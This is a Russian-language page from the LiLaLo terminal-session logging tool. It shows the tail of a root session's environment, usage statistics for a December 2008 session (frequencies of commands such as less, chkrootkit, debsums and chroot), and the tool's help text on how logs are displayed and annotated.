    "\      :\*4=\\E[3\;2\~:\*7=\\E[1\;2F:#2=\\E[1\;2H:#3=\\E[2\;2\~:#4=\\E[1\;2D:\\"
    "\      :%c=\\E[6\;2\~:%e=\\E[5\;2\~:%i=\\E[1\;2C:kh=\\E[1\~:@1=\\E[1\~:\\"
    "\      :kH=\\E[4\~:@7=\\E[4\~:kN=\\E[6\~:kP=\\E[5\~:kI=\\E[2\~:kD=\\E[3\~:\\"
    "\      :ku=\\EOA:kd=\\EOB:kr=\\EOC:kl=\\EOD:km:; export TERMCAP
    MAIL=/var/mail/root; export MAIL
    PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; export PATH
    L3_SESSION_ID=1159830598755099-1229415638; export L3_SESSION_ID
    STY=7787.pts-1.wb1; export STY
    PWD=/root; export PWD
    

    Статистика

    Время первой команды журнала10:45:32 2008-12-16
    Время последней команды журнала12:29:03 2008-12-16
    Количество командных строк в журнале101
    Процент команд с ненулевым кодом завершения, % 8.91
    Процент синтаксически неверно набранных команд, % 3.96
    Суммарное время работы с терминалом *, час 1.04
    Количество командных строк в единицу времени, команда/мин 1.61
    Частота использования команд
    less11|========| 8.66%
    ls9|=======| 7.09%
    echo8|======| 6.30%
    ldd8|======| 6.30%
    grep8|======| 6.30%
    cp6|====| 4.72%
    find6|====| 4.72%
    apt-get5|===| 3.94%
    chroot5|===| 3.94%
    mkdir4|===| 3.15%
    chkrootkit4|===| 3.15%
    at4|===| 3.15%
    cat4|===| 3.15%
    debsums3|==| 2.36%
    l3mass_upload3|==| 2.36%
    >3|==| 2.36%
    atq3|==| 2.36%
    vi3|==| 2.36%
    apt-cache3|==| 2.36%
    tr3|==| 2.36%
    sed2|=| 1.57%
    `echo2|=| 1.57%
    PS1='\$2|=| 1.57%
    debootstrap2|=| 1.57%
    telnet1|| 0.79%
    /etc/init.d/openbsd-inetd1|| 0.79%
    mkfs.ext31|| 0.79%
    cd1|| 0.79%
    sums21|| 0.79%
    c[1|| 0.79%
    atrm1|| 0.79%
    cut1|| 0.79%
    mv1|| 0.79%
    diff1|| 0.79%
    dd1|| 0.79%
    sums1|| 0.79%
    mount1|| 0.79%
    nc1|| 0.79%
    df1|| 0.79%
    which1|| 0.79%
    ____
    *) Интервалы неактивности длительностью 30 минут и более не учитываются

    Справка

    Для того чтобы использовать LiLaLo, не нужно знать ничего особенного: всё происходит само собой. Однако, чтобы ведение и последующее использование журналов было как можно более эффективным, желательно иметь в виду следующее:
    1. В журнал автоматически попадают все команды, данные в любом терминале системы.

    2. Для того чтобы убедиться, что журнал на текущем терминале ведётся, и команды записываются, дайте команду w. В поле WHAT, соответствующем текущему терминалу, должна быть указана программа script.

    3. Команды, при наборе которых были допущены синтаксические ошибки, выводятся перечёркнутым текстом:
      $ l s-l
      bash: l: command not found
      

    4. Если код завершения команды равен нулю, команда была выполнена без ошибок. Команды, код завершения которых отличен от нуля, выделяются цветом.
      $ test 5 -lt 4
      Обратите внимание на то, что код завершения команды может быть отличен от нуля не только в тех случаях, когда команда была выполнена с ошибкой. Многие команды используют код завершения, например, для того чтобы показать результаты проверки

    5. Команды, ход выполнения которых был прерван пользователем, выделяются цветом.
      $ find / -name abc
      find: /home/devi-orig/.gnome2: Keine Berechtigung
      find: /home/devi-orig/.gnome2_private: Keine Berechtigung
      find: /home/devi-orig/.nautilus/metafiles: Keine Berechtigung
      find: /home/devi-orig/.metacity: Keine Berechtigung
      find: /home/devi-orig/.inkscape: Keine Berechtigung
      ^C
      

    6. Команды, выполненные с привилегиями суперпользователя, выделяются слева красной чертой.
      # id
      uid=0(root) gid=0(root) Gruppen=0(root)
      

    7. Изменения, внесённые в текстовый файл с помощью редактора, запоминаются и показываются в журнале в формате ed. Строки, начинающиеся символом "<", удалены, а строки, начинающиеся символом ">" -- добавлены.
      $ vi ~/.bashrc
      2a3,5
      >    if [ -f /usr/local/etc/bash_completion ]; then
      >         . /usr/local/etc/bash_completion
      >        fi
      

    8. Для того чтобы изменить файл в соответствии с показанными в диффшоте изменениями, можно воспользоваться командой patch. Нужно скопировать изменения, запустить программу patch, указав в качестве её аргумента файл, к которому применяются изменения, и всавить скопированный текст:
      $ patch ~/.bashrc
      В данном случае изменения применяются к файлу ~/.bashrc

    9. Для того чтобы получить краткую справочную информацию о команде, нужно подвести к ней мышь. Во всплывающей подсказке появится краткое описание команды.

      Если справочная информация о команде есть, команда выделяется голубым фоном, например: vi. Если справочная информация отсутствует, команда выделяется розовым фоном, например: notepad.exe. Справочная информация может отсутствовать в том случае, если (1) команда введена неверно; (2) если распознавание команды LiLaLo выполнено неверно; (3) если информация о команде неизвестна LiLaLo. Последнее возможно для редких команд.

    10. Большие, в особенности многострочные, всплывающие подсказки лучше всего показываются браузерами KDE Konqueror, Apple Safari и Microsoft Internet Explorer. В браузерах Mozilla и Firefox они отображаются не полностью, а вместо перевода строки выводится специальный символ.

    11. Время ввода команды, показанное в журнале, соответствует времени начала ввода командной строки, которое равно тому моменту, когда на терминале появилось приглашение интерпретатора

    12. Имя терминала, на котором была введена команда, показано в специальном блоке. Этот блок показывается только в том случае, если терминал текущей команды отличается от терминала предыдущей.

    13. Вывод не интересующих вас в настоящий момент элементов журнала, таких как время, имя терминала и других, можно отключить. Для этого нужно воспользоваться формой управления журналом вверху страницы.

    14. Небольшие комментарии к командам можно вставлять прямо из командной строки. Комментарий вводится прямо в командную строку, после символов #^ или #v. Символы ^ и v показывают направление выбора команды, к которой относится комментарий: ^ - к предыдущей, v - к следующей. Например, если в командной строке было введено:

      $ whoami
      
      user
      
      $ #^ Интересно, кто я?
      
      в журнале это будет выглядеть так:
      $ whoami
      
      user
      
      Интересно, кто я?

    15. Если комментарий содержит несколько строк, его можно вставить в журнал следующим образом:

      $ whoami
      
      user
      
      $ cat > /dev/null #^ Интересно, кто я?
      
      Программа whoami выводит имя пользователя, под которым 
      мы зарегистрировались в системе.
      -
      Она не может ответить на вопрос о нашем назначении 
      в этом мире.
      
      В журнале это будет выглядеть так:
      $ whoami
      user
      
      Интересно, кто я?
      Программа whoami выводит имя пользователя, под которым
      мы зарегистрировались в системе.

      Она не может ответить на вопрос о нашем назначении
      в этом мире.
      Для разделения нескольких абзацев между собой используйте символ "-", один в строке.

    16. Комментарии, не относящиеся непосредственно ни к какой из команд, добавляются точно таким же способом, только вместо симолов #^ или #v нужно использовать символы #=

    17. Содержимое файла может быть показано в журнале. Для этого его нужно вывести с помощью программы cat. Если вывод команды отметить симоволами #!, содержимое файла будет показано в журнале в специально отведённой для этого секции.
    18. Для того чтобы вставить скриншот интересующего вас окна в журнал, нужно воспользоваться командой l3shot. После того как команда вызвана, нужно с помощью мыши выбрать окно, которое должно быть в журнале.
    19. Команды в журнале расположены в хронологическом порядке. Если две команды давались одна за другой, но на разных терминалах, в журнале они будут рядом, даже если они не имеют друг к другу никакого отношения.
      1
          2
      3   
          4
      
      Группы команд, выполненных на разных терминалах, разделяются специальной линией. Под этой линией в правом углу показано имя терминала, на котором выполнялись команды. Для того чтобы посмотреть команды только одного сенса, нужно щёкнуть по этому названию.

    О программе

    LiLaLo (L3) расшифровывается как Live Lab Log.
    Программа разработана для повышения эффективности обучения Unix/Linux-системам.
    (c) Игорь Чубин, 2004-2008

    $Id$